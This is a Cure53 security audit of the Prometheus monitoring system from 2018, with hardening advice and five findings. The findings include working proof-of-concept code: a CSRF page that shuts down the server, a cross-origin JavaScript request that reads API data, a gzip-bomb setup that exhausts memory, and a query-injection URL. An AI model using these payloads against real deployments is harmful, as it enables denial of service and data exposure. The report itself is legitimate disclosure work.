Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Pentest-Report Prometheus 05.-06.2018

Cure53, Dr.-Ing. M. Heiderich, M. Wege, MSc. N. Krein, BSc. J. Hector, Dipl.-Ing. A. Inführ, J. Larsson

Index

Introduction

"An open-source monitoring system with a dimensional data model, flexible query language, efficient time series database and modern alerting approach."

From https://prometheus.io/

This report documents the findings of a security assessment targeting the Prometheus software compound and carried out by Cure53 in 2018. It should be noted that the project was sponsored by The Linux Foundation / Cloud Native Computing Foundation.

In terms of the scope, the assignment entailed two main components as the Prometheus project was investigated through both a dedicated source code audit and comprehensive penetration testing. Following a brief, various items were included in the scope and a detailed information on this matter can be found in the next *Scope* section. It should be noted that a kick-off meeting with the in-house Prometheus team and the Cure53 testers resulted in a shared document on the scope. This facilitated a clear delineation of the envisioned focus and coverage.

Moving on to the resources and approaches, a team of six Cure53 testers was comprised and allocated a total of eighteen days for the completion of the project. The duration of the assessment was determined by a fixed budget provisioned by The Linux Foundation/ Cloud Native Computing Foundation. White-box methodology has been chosen as the best-fitting approach for this test and audit. Consequently, Cure53 had access to the sources and all relevant technical information. What is more, under the white-box premise, the testers and the in-house team at Prometheus maintained close contact via Slack throughout this collaboration.

The tests proceeded on schedule and took place in late May and early June of 2018. After spending the allocated eighteen days, the Cure53 believed to have reached a good coverage of the agreed upon scope. As already noted, status updates were furnished to the maintainers, yet no live-reporting of the findings was requested. Over the course of the project, all communications were prompt and productive. Due to an excellent preparatory phase, not many questions arose during the test. A clearly communicated codebase and threat model were easy to understand and investigate for the Cure53 testers. At the same time, it was very much noticeable that said threat model that the Prometheus team works with is quite unique. Specifically, Cure53 considers it rather detached from what is usually found on web- and server-software in a similar category of products.

As for the findings, Cure53 discovered five security-relevant issues. Three were categorized as actual vulnerabilities and two were classed as general weaknesses. Among the discoveries in the realm of vulnerabilities, one was considered to be of a "*High*" severity, as it related to a faulty and overly lax CORS configuration. The remaining two flaws were assigned a risk-level of "*Medium*". However, after several discussions between Cure53 and the Prometheus team, several of the spotted issues were ultimately flagged as "false alerts". The maintainers argued that certain defenses, considered by Cure53 as needed, were in fact not the responsibility of the Prometheus project, but should rather be seen as tasks for other layers in the stack. Documentation of the tickets affected by the discussions was accordingly updated to reflect these changes.

In the following sections, the report first provides more details on the scope and points to the code repositories that the Cure53 team relied on. Next, the documentation includes a dedicated section on coverage, methodologies and general hardening recommendations. A case-by-case discussion of findings then ensues. In the final paragraphs of the *Conclusion* section, Cure53 shares some broader reflections about the security posture of the Prometheus software compound. In addition, it addresses the key issue of the unusual circumstance of this assessment, which led to an invalidation of some discoveries. A general verdict taking the latter into account is offered at the end of this report.

Scope

- **Prometheus Clients**
  - Go Code-Base (audited with highest priority)
    - https://github.com/prometheus/client_golang
    - https://github.com/prometheus/client_golang/blob/master/prometheus/promhttp/http.go
  - Python Code-Base (audited with lower priority)
    - https://github.com/prometheus/client_python/
    - https://github.com/prometheus/client_python/tree/master/prometheus_client
  - Java Code-Base (audited with lowest priority)
    - https://github.com/prometheus/client_java
- **Prometheus Server**
  - https://github.com/prometheus/prometheus

Methodology

The following section describes the methodology that was used during this source code audit and penetration tests. The test was divided into two phases with corresponding two-fold goals and focal points with reference to the scope. The first phase concentrated mostly on manual source code reviews. These reviews aimed at spotting insecure code constructs marked by the potential a capacity of leading to memory corruption, information leakages and other similar flaws. The second phase of the test was dedicated to classic penetration tests. During this phase, it was examined whether the security promises made by Prometheus in fact hold against real-life attack situations.

Part 1 (Manual Code Auditing)

A list of items below seeks to detail some of the noteworthy steps undertaken during the first part of the test, which entailed the manual code audit against the sources of the Prometheus software compound. This list attests that in spite of the relatively low number of findings, substantial efforts were made and a great deal of attention was given to the scope. In other words, a good level of coverage was achieved with a lot of dedication. The steps taken and completed during the assessment are listed next.

- The source code of the Prometheus server was checked for potential sinks via data parsing. As the application avoids the use of potentially insecure formats like XML, no issues were discovered.
- The logic of the *retrieval* component relies on the standard HTTP Go client. As this client exclusively supports standard protocols like HTTP/HTTPS, no issues were uncovered directly in the code. It was discovered that the *gzip* compression is supported and this was later confirmed in *Part 2* of the assessment.
- The admin interface exposes multiple HTTP routes. The case of user-controlled data being processed was thus investigated. The aim was to verify if a potentially insecure function call could be reached. A possible path traversal had been discovered but was ultimately dismissed in the second part of the assessment.
- It was also discovered that templates can become prone to HTML encoding issues possibly resulting in XSS. This could theoretically occur if the *safeHtml* keyword is insecurely used but, in practice, no exploitable issue was unveiled.
- *PromQL* was also audited with the help of grammar that the *lexer* accepts. Additionally, the provided fuzz-data was inspected and used for pitfall-testing and atypical parsing where the *lexer* could perhaps break.
- The above approaches were applied to *PromDB* and its *gRPC* API where the exposed endpoints could result in server-side security issues, such as unrecoverable DOS conditions and general weaknesses undermining either the availability or safety of Prometheus.

- To cover more of the attack surface pertinent to the client-side of the architecture, *promtool* was audited as well. The mindset here was that malicious responses from an attacker-controlled server could result in a client-side compromise.

Part 2 (Code-Assisted Penetration Testing)

A list of items below distinguishes some of the noteworthy steps undertaken during the second part of the test. This component encompassed code-assisted penetration testing against the Prometheus software in scope. Given that the manual source code audit did not yield an overly large amount of findings, the second step was chosen as an additional measure for maximizing the test coverage. As for the specific steps executed to enrich this phase, one can consult the enumeration and discussions offered in the bullet points below.

- The web interface was enabled to verify the used HTML templating system. It was demonstrated that it is properly encoding user-controlled data displayed in the GUI.
- Additionally it was verified if the web GUI is properly encoding JSON and error HTTP responses. As the web application employs *X-Content-Type-Options: nosniff,* no issue was discovered.
- The supported protocols of the *retrieval* component were tested by redirecting to potentially insecure protocol handlers like *file:///*.
- During *Part 1* of the assessment, the *gzip* support of the *retrieval* component was discovered. It was demonstrated that the Prometheus server is vulnerable to a *gzip* compression bomb as described in PRM-01-005.
- The potential path traversal discovered in the code audit was tested for its exploitability. It was discovered that as soon as the potential vulnerable paths contain */../*, the web server normalizes the path and therefore makes the vulnerability unexploitable.
- It was also checked what impact the general lack of authentication and CSRF protection would have. This was summarized in PRM-01-001 where simple requests can practically lead to a Denial-of-Service conditions.
- During the assessment of the *gRPC* API, small issues like the snapshotting features were checked. It was evaluated whether this would lead to a quick consumption of the Docker's filesystem space. Since all the cleanup routines are easy to reach, this was discarded as a non-issue.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Hardening Recommendations

The challenge of this assessment was a rather atypical and lightweight security model adopted by Prometheus. Specifically, it is a non-standard and simple model, which was chosen as means to placing the main focus on features and performance first, instead of being forced to enter the "security arms race". In other words, the Prometheus compound factually remains somewhat outside of the climate faced by many complex applications, which constantly fight current and emergent threats. In finding a balance and compromise between listing flaws causing debates around relevance, it was decided in a debriefing with the maintainers that the Cure53 team should add a dedicated section on hardening recommendations and secure default approaches.

This section will now list several recommended avenues and strategies. The Prometheus team may either decide for implementation or at least incorporate stronger documentation in order to increase the overall security level of the application without adding too much implementation effort.

General Security Recommendations

Currently the approach deployed by Prometheus is to rely on a perimeter security rather than to implement security on an in-depth level. While this is an understandable approach that allows for more feature-focused and performance-friendly development, it is recommended to eventually switch to a different strategy for security-related reasons.

The risks Cure53 sees going forward involve the complications in configuration and maintenance for the future developers. This may have severe implications for setting up a Prometheus instance and, in addition, can make the deployment model characterized by having a single point of failure. If the system is not properly isolated away, any attack bypassing the perimeter security will not be dramatically hindered in impact by Prometheus and not accepting any security responsibility here might not be the ideal path for the project.

Cure53 understands that adding in-depth security to the software directly instead of relying on other layers in the stack to take care of this realm is likely going to slow down and complicate the development. If it is decided for the current approach to be followed in a long-run, it is recommended to at least thoroughly improve the documentation and make developers and administrators aware of how security is understood by the maintainers of the Prometheus software compound. In that context, the available guidelines must provide proper recommendations on how to actually set up the stack around Prometheus in a secure and robust way.

HTTP Security Headers

It was noticed that Prometheus fails to make use of common HTTP security headers. This allows for a large array of attacks involving browsers. At the same time, it can easily be tackled by simply adding the headers and, as a consequence, a lot of security properties would be gained without losing any performance. Similarly, the complexity would not grow significantly. The recommended headers are as follows:

- *X-Frame-Options*: This header specifies whether the web page is allowed to be framed. Although this header is known to prevent Clickjacking attacks, there are many other attacks which can be achieved when a web page is framable[1]. It is recommended to set the value to either *SAMEORIGIN* or *DENY*.
- *X-Content-Type-Options*: This header determines whether the browser should perform MIME Sniffing on the resource. The most common attack abusing the lack of this header is tricking the browser to render a resource as a HTML document, effectively leading to Cross-Site-Scripting (XSS).
- *X-XSS-Protection*: This header specifies if the browser's built-in XSS auditors should be activated (enabled by default). Not only does setting this header prevent Reflected XSS, but also helps to avoid the attacks abusing the issues on the XSS auditor itself with false-positives, e.g. Universal XSS[2] and similar. It is recommended to set the value to either *0* (which is not recommended but better than the default) or *1; mode=block*.
- *Strict-Transport-Security*: Without the HSTS header, a MitM could attempt to perform channel downgrade attacks using readily available tools such as *sslstrip*[3]. In this scenario the attacker would proxy clear-text traffic to the victim-user and establish an SSL connection with the targeted website, stripping all cookie security flags if needed. It is recommended to set up the header as follows: *Strict-Transport-Security: max-age=31536000; includeSubDomains.* Note that the HSTS *preload* flag has been left out as it is considered dangerous[4].

Content Security Policy & Beyond

The Prometheus Web UIs comprise perfect applications for the deployment of modern web security features. Some of their key traits is that they do not make use of external scripts, do not embed advertising or any other third-party scripts that usually make it harder to deploy CSP and other advanced, modern web security features. While the tests conducted by Cure53 did not identify any XSS issues to be present, it still makes sense to add an additional layer of security. Despite the fact that presently the templating

[1] https://cure53.de/xfo-clickjacking.pdf
[2] http://www.slideshare.net/masatokinugawa/xxn-en
[3] https://moxie.org/software/sslstrip/
[4] https://www.tunetheweb.com/blog/dangerous-web-security-features/

engine apparently works as expected and auto-escapes all externally-controlled content, if an injection is ever there, a proper CSP would make it unlikely for the XSS attack to be the result of a flaw.

Given the self-contained nature of the tested web UIs, the implementation of proper CSP headers should not be a problem at all and is not likely to cause compatibility issues of any kind. This means that adding CSP would actually raise the security bar significantly for a comparably low implementation price.

Authentication / Authorization

It was noticed that several parts if the software do not require any authentication or credentials when it comes to access and use. This holds, for example, for the Admin UI whereon simply no form of login or credential check exists. The assumption is that the Admin UI will only be reached from areas that are secured properly anyway. This follows the security model that was described earlier and above.

However, it is nevertheless recommended to at least give developers or administrators the possibility of adding simple HTTP Basic Authentication. This would again help to makes sure that in case of a breach in the surrounding stack, another basic level of security would keep the worst from happening. It is not that improbable to imagine that an attacker could gain illegitimate access to the UI, so avoiding potential consequences should be seen as rather important. While not enabling proper access control or even ACL/RBAC, the proposed change should be easy to implement and at least provides another barrier that a successful attacker would be required to overcome.

Non-Idempotent Request Protection

In its current state, the majority of Web-based UI used by Prometheus does not implement any form of CSRF protection. It thus allows an attacker, as long as s/he manages to lure an admin onto a specially crafted website, to fire pretty much arbitrary requests to the backend and have them be accepted. This can only go well if the assumption is met that the admin using the Prometheus' UIs does not at all navigate to other websites with the same browser.

It is strongly recommended to implement at least a simple CSRF protection and make sure that non-idempotent requests cannot be sent (and then be processed) from any arbitrary origin without using safe HTTP methods or without using a secret token. Note that methods *GET* and *POST* are not considered safe and should be replaced with the matching HTTP verb. Taking the case illustrated in PRM-01-001 as an indicator, the adequate method would be *DELETE* instead of *POST*. Using the appropriate HTTP request methods adds a first and simple layer of security. Extending the protective system to add a CSRF token would round the protection up by preventing a vast range of possible attacks. A CSRF token could be constructed as follows:

```
#             = separator character
nonce         = random value
secret        = sha256(userid + sessionid)
CSRF-Token    = base64(nonce#hmac-sha256(nonce, secret))
```

This revised proposal permits an easy replacement of the current implementation and requires no additional states on the server-side. Moreover, it alleviates the risks linked to the use of arbitrary tokens from different user-sessions.

Alternatively, it could be considered to solve the CSRF problem with a static token that can be communicated to external tools like cURL or alike. This would ascertain that those can still request and receive data as expected. Implementing an API endpoint that offers the dynamic token to cURL and alike before sending the actual requests is a good option as well.

A similar issue was spotted in connection with the implementation of Prometheus' CORS settings. At the current stage, there is no way to configure the CORS headers in a way that does not allow arbitrary domains to send requests and read the response. This again forces the users and administrators of Prometheus to only make use of the web UIs in environments where CSRF is pretty much impossible to achieve. It is recommended to give the administrator a choice via configuration or plugin and choose one of the following:

a) Allow the very tolerant settings;
b) Allow only same domain requests to succeed;
c) Grant an ability to specify a whitelist of domain names that are allowed to send requests and read their responses for further processing.

Transport Security

It was noticed that SSL/TLS is not set up to be the default protocol on the Prometheus UI. This is another feature that makes sense if the Prometheus system is deployed in an environment where security is being taken care of by the different layers of the stack. However, since this can never be guaranteed, it is recommended to make HTTPS become the default. Either tools or documentation should be furnished to admins and developers so that they can easily set up encrypted communications using *Let's Encrypt*[5] or self-signed certificates. This could help secure the communications in the internal network or any other location hosting the Prometheus instances and UIs.

[5] https://letsencrypt.org/docs/

Identified Vulnerabilities

The following sections list both vulnerabilities and implementation issues spotted during the testing period. Note that findings are listed in a chronological order rather than by their degree of severity and impact. The aforementioned severity rank is simply given in brackets following the title heading for each vulnerability. Each vulnerability is additionally given a unique identifier (e.g. *PRM-01-001*) for the purpose of facilitating any future follow-up correspondence.

PRM-01-001 Web: Prometheus lifecycle killed with CSRF *(Medium)*

While issues like Cross-Site Request Forgery (CSRF) were initially determined to be mostly out-of-scope for the Prometheus web application, it is hard to argue against the importance of scenarios where the direct availability of Prometheus is in jeopardy. In this context, it is possible so simply turn off Prometheus (assuming the lifecycle feature enabled) by sending a local or remote administrator with access to its web server instances to a specially crafted website. Here, a CSRF payload can be fired to automatically close the Prometheus' life cycle. The issue was noticed in the following lines of the application's source code.

Affected File:
prometheus/prometheus/web/web.go

Affected Code:
```
if o.EnableLifecycle {
       router.Post("/-/quit", h.quit)
       router.Post("/-/reload", h.reload)
} else {
[...]
func (h *Handler) quit(w http.ResponseWriter, r *http.Request) {
       fmt.Fprintf(w, "Requesting termination... Goodbye!")
       close(h.quitCh)
}
```

To demonstrate this issue, a small HTML page furnished below will send a POST request to http://prometheus.instance:9090/-/quit. This triggers an *exit* and makes Prometheus unavailable for further actions.

PoC.html:
```
<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http:\/\/localhost:9090\/-\/quit", true);
        xhr.setRequestHeader("Accept",
"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "application\/x-www-form-
urlencoded");
        xhr.withCredentials = true;
        var body = "x";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>
```

Log Output on Visit:

```
level=warn ts=2018-05-28T07:56:47.880789453Z caller=main.go:378 msg="Received
termination request via web service, exiting gracefully..."
level=info ts=2018-05-28T07:56:47.880817909Z caller=main.go:398 msg="Stopping
scrape discovery manager..."
level=info ts=2018-05-28T07:56:47.880825099Z caller=main.go:411 msg="Stopping
notify discovery manager..."
level=info ts=2018-05-28T07:56:47.880829691Z caller=main.go:432 msg="Stopping
scrape manager..."
level=info ts=2018-05-28T07:56:47.880837746Z caller=main.go:394 msg="Scrape
discovery manager stopped"
level=info ts=2018-05-28T07:56:47.880847876Z caller=main.go:407 msg="Notify
discovery manager stopped"
level=info ts=2018-05-28T07:56:47.880930313Z caller=main.go:426 msg="Scrape
manager stopped"
level=info ts=2018-05-28T07:56:47.88499109Z caller=manager.go:460
component="rule manager" msg="Stopping rule manager..."
level=info ts=2018-05-28T07:56:47.885017853Z caller=manager.go:466
component="rule manager" msg="Rule manager stopped"
level=info ts=2018-05-28T07:56:47.885040973Z caller=notifier.go:512
component=notifier msg="Stopping notification manager..."
level=info ts=2018-05-28T07:56:47.885050203Z caller=main.go:573 msg="Notifier
manager stopped"
level=info ts=2018-05-28T07:56:47.885163015Z caller=main.go:584 msg="See you
next time!"
```

While it is clear that Prometheus deliberately omits standard protection mechanisms like anti-forgery tokens, this practice cannot be condoned. It is hard to reason against them when a vulnerability like the one described here can be outlined. In fact, every route that is exposed when the admin interface is available appears to be vulnerable to simple CSRF as well. Even with the existence of a reverse-proxy, set to cover the lack of any valid authentication mechanism, disregarding CSRF tokens is strange. Therefore, it is highly recommended to implement basic anti-forgery mechanisms, for example by utilizing *gorilla/csrf*[6].

Note: This was flagged as a false alert and an expected behavior by the Prometheus team.

PRM-01-003 Web: CORS header exposes API data to all origins *(High)*

The Prometheus API endpoints have Cross-Origin Resource Sharing[7] (CORS) enabled. By setting CORS headers it is possible to weaken the Same-Origin Policy[8] of the browser and expose the API resources to other web origins. It was discovered that this configuration is used insecurely, as it exposes the endpoints to all web origins. The current setup where "*" means "any origin" is as follows:

*Access-Control-Allow-Origin: **

This deployment means that any website can use the JavaScript PoC listed below to read any data exposed by the Prometheus API. This can be done by using *XMLHttpRequest* or *fetch()*. The provided Proof-of-Concept utilizes the *go_info* query to display the currently defined clients of the Prometheus application. Note that any other query type can be used as well and would accomplish the same result.

JavaScript PoC:

```
x = new XMLHttpRequest();
x.open("GET","http://demo.do.prometheus.io:9090/api/v1/query?
query=go_info&time=1527264495.82&_=1527264125057",false)
x.send()
console.log(x.responseText)
```

Triggered HTTP Request:

```
GET http://demo.do.prometheus.io:9090/api/v1/query?
query=go_info&time=1527264495.82&_=1527264125057 HTTP/1.1
```

[6] https://github.com/gorilla/csrf
[7] https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS
[8] https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy

```
Referer: http://example.com
Origin: http://example.com
Host: demo.do.prometheus.io:9090
```

HTTP Response:

```
HTTP/1.1 200 OK
Access-Control-Allow-Headers: Accept, Authorization, Content-Type, Origin
Access-Control-Allow-Methods: GET, OPTIONS
Access-Control-Allow-Origin: *

{"status":"success","data":{"resultType":"vector","result":[{"metric":
{"__name__":"go_info","env":"demo","instance":"demo.do.prometheus.io:3000","job"
:"grafana","version":"go1.10"},"value":[1527264495.819,"1"]},{"metric":
{"__name__":"go_info","env":"demo","instance":"demo.do.prometheus.io:9100","job"
:"node","version":"go1.9.2"},"value":[1527264495.819,"1"]},{"metric":
{"__name__":"go_info","instance":"influx.cloudalchemy.org:8086","job":"influxdb"
,"version":"go1.9.2"},"value":[1527264495.819,"1"]}]}}
```

It is recommended to re-evaluate the need of exposing the Prometheus API via Cross-Origin Resource Sharing. In case this feature is necessary and therefore cannot be removed, it is recommended to define the domains which are allowed to access the admin API via the *Access-Control-Allow-Origin: <origin>* header. One implementation of this feature could be to a requirement for a Prometheus user to define these domains via the configuration file

Note: This was flagged as a false alert and an expected behavior by the Prometheus team.

PRM-01-005 Server: Clients can cause Denial of Service via *Gzip* Bomb (*Medium*)

The *retrieval* component of the Prometheus server application retrieves metrics from clients via the HTTP protocol in order to pass it to the internal parser. It was discovered that the *retrieval* component supports HTTP *gzip* compression[9] for client HTTP responses. This feature can be abused by a rogue client to cause a Denial of Service on the Prometheus server by crafting a response which will consume all memory once decompressed.

After receiving a client response, the Prometheus server application checks if the HTTP response contains a *Content-Encoding: gzip* header. Afterwards the response body is passed to *gzip.NewReader* to be able to properly decompress the payload afterwards. As soon as the application is passing the *gzip* reader to *io.Copy,* the payload is actually deflated. To cause a memory exhaustion, an 18MB *gzip*-compressed response was created and it inflated to 18GB in memory.

[9] https://en.wikipedia.org/wiki/HTTP_compression

File:
prometheus/scrape/scrape.go

Code:
```
if resp.Header.Get("Content-Encoding") != "gzip" {
        _, err = io.Copy(w, resp.Body)
        return err
}
if s.gzipr == nil {
        s.buf = bufio.NewReader(resp.Body)
        s.gzipr, err = gzip.NewReader(s.buf)
        if err != nil {
        return err
        }
} else {
[...]
}
// Memory exhaustion
_, err = io.Copy(w, s.gzipr)
```

Steps to reproduce:
- Place *bomb.php* and *bomb.gz* in the *root* of your local web server.
- Start the Prometheus application with the configuration below.
- After 15 seconds the Prometheus server will fetch *http://127.0.0.1/bomb.php* and starts decompressing.
- Prometheus will stop with the following error:
  fatal error: runtime: out of memory

  runtime stack:
  runtime.throw(0x1af802b, 0x16)
  /usr/local/go/src/runtime/panic.go:616 +0x81

Prometheus Config:
```
global:
        scrape_interval:     15s

        external_labels:
        monitor: 'codelab-monitor'

scrape_configs:
        - job_name: 'prometheus'
        metrics_path: '/bomb.php'
        static_configs:
              - targets: ['127.0.0.1:80']
              labels:
                    group: 'canary'
```

File:
Bomb.php (download here)

Code:
```
<?php
header("Content-Encoding: gzip");
echo file_get_contents("bomb.gz");
?>
```

Compression bombs are fairly difficult to prevent without influencing the usability of the software. Given that the Prometheus server needs to be configured to gather metrics from a malicious target, this risk could be accepted. Nevertheless it could be taken into consideration to use *io.CopyN*[10] instead of *io.Copy* as the former allows specifying the amount of bytes which should be read from the *gzip* stream. By defining a proper limit, it is possible to ensure that the decompressed buffer cannot cause a memory exhaustion.

Miscellaneous Issues

This section covers those noteworthy findings that did not lead to an exploit but might aid an attacker in achieving their malicious goals in the future. Most of these results are vulnerable code snippets that did not provide an easy way to be called. Conclusively, while a vulnerability is present, an exploit might not always be possible.

PRM-01-002 Client: Clients leak *Metrics* data through unprotected endpoint *(Low)*

Metric data are to be collected for some services and these items need to implement a client-library that enables the core Prometheus service to scrape the data. The client-library opens a minimal HTTP server and exposes a route which is then registered with the core service for scraping. This endpoint is unauthenticated by default, which allows anybody who knows the URI to read the metric data. It is recommended to put some form of authentication in place. Only the core Prometheus service should be allowed to read the metric data.

Note: This was flagged as a false alert and an expected behavior by the Prometheus team.

[10] https://golang.org/pkg/io/#CopyN

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

PRM-01-004 Web: Parameters used insecurely in HTML templates *(Low)*

The Prometheus admin web interface utilizes HTML templates for its GUI. The templates are rendered on the server-side to be able to include certain information the user is requesting. It was discovered that user-controlled *GET* parameters end up in the GUI template before it is completely parsed. This allows an attacker to inject a single quote character which breaks the structure of the defined query structure, thus causing an HTTP 500 error.

Notably, during the test it was not possible to cause this error via the double quote characters, indicating that an attacker can influence the query structure but not the overall structure of the template.

Example URL:
http://demo.do.prometheus.io:9090/consoles/node-overview.html?instance=test%27aaa

Server Response:
```
error executing template __console_/node-overview.html: template:
__console_/node-overview.html:13:103: executing "__console_/node-overview.html"
at <query>: error calling query: parse error at char 57: missing comma before
next identifier "aaa"
```

Affected File:
prometheus/consoles/node-overview.html

Code:
```
<script>
new PromConsole.Graph({
node: document.querySelector("#cpuGraph"),
expr: "sum by (mode)(irate(node_cpu{job='node',instance='{{
.Params.instance }}',mode!='idle'}[5m]))",
renderer: 'area',
max: {{ with printf "count(count by (cpu)
(node_cpu{job='node',instance='%s'}))" .Params.instance | query }}{{ . | first |
value }}{{ else}}undefined{{end}},
```

It is recommended to check all instances where user-controlled parameters reach the query structures. The single quote character should be filtered to ensure an attacker is unable to influence the template structure on the server-side.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Conclusions

The results of this Cure53 2018 assessment of the Prometheus software compound are rather mixed. This stems from varying perspectives on security represented by the maintainers of Prometheus vis-à-vis the Cure53 testing team. On the one hand, the overall indicators were very good with low number of findings, strong and clearly-written code and very well-chosen and properly-deployed security properties. On the other hand, the testers are concerned with the general assumption about the removal of security as the noteworthy realm by shifting this task to the outside layers and parties. While the Prometheus compound has great potential from a technical standpoint, its general security perspective might be overly optimistic and eventually called into question by emerging risks.

To reiterate, this investigation of the Prometheus' scope was generously funded by The Linux Foundation/ Cloud Native Computing Foundation and the financing enabled a creation of six-member Cure53 testing team. The auditors and penetration testers investigated the scope over the course of eighteen days in May and June of 2018. While they achieved what is believed to be a good coverage of the scope and uncovered a number of security issues as well as dimensions in which hardening is warranted, many aspects deemed as faulty were dismissed by the Prometheus team. The maintainers requested numerous items to be flagged as "false alerts" and accepted the risk that the problems may carry.

As already noted, a plethora of positive security indicators could be driven from the secure and clean state of the code belonging to the Prometheus project. To give just one example of the benefits of such praiseworthy code, one potential path traversal issue, which was spotted in the admin GUI, was solely not exploitable because of the default behavior of the *GO* language and the fact that the HTTP server normalizes any requested path. Moreover, the assessment of the defined *PromQL* query language demonstrated that all exposed keywords or functions seem to be implemented with security in mind and no potentially insecure functions could be reached.

On the contrary, it can be seen from the tickets discussed above that nearly all findings believed to be valid by Cure53 were flagged to be false alerts. This is because the Prometheus team assumes that the system would only be deployed in already well secured environments and, thusly, shifts the responsibility for security to other layers. While this might be true for various scenarios, it is hard to accept that to be the norm by default. In other words, it would be extremely difficult - if not impossible - to attain any sort of guarantees that the approach taken by Prometheus is indeed safe. Under this explicit premise of uncertainty, it was surprising for the test team to find out that there is no perceived need for stricter CORS settings, CSRF protection, HTTP security headers or other mechanisms that allow hardening web applications.

After the majority of the tests have been finished, Cure53 invited the in-house team at Prometheus for a debriefing meeting. The issue of “false alerts” was extensively discussed and, in the end, Cure53 agreed to incorporate these “false alert” flags to the findings. However, it was also considered pivotal for a dedicated section on hardening recommendations to be included in the report. The latter has been accepted and can be found in the documentation.

It is hoped that recommendations can be seen as prospective long-term ideas and inspirations for making additions into the security landscape adopted by the Prometheus compound. Regardless of very limited number of findings and an excellent state of security found on the scope items at present, Cure53 advises the project maintainers to make adjustment into the existing documentation and, possibly, follow some of the more technically-demanding suggestions. All in all, clear and specific documentation is needed to make sure that developers, admins and users of the Prometheus project are aware of the fact that they must keep it secure on their end. At the very least, the website hosting the Prometheus software should provide a manual stating the limitations of the system across various security realms. Moreover, it is expected that guidelines on how to best tackle any technical doubts or dilemmas can be supplied as well.

Cure53 would like to thank Brian Brazil, Ben Kochie, Richard Hartmann and Johannes Ziemke from the Prometheus team as well as Chris Aniszczyk of The Linux Foundation, for their excellent project coordination, support and assistance, both before and during this assignment. Special gratitude also need to be extended to The Linux Foundation for sponsoring this project.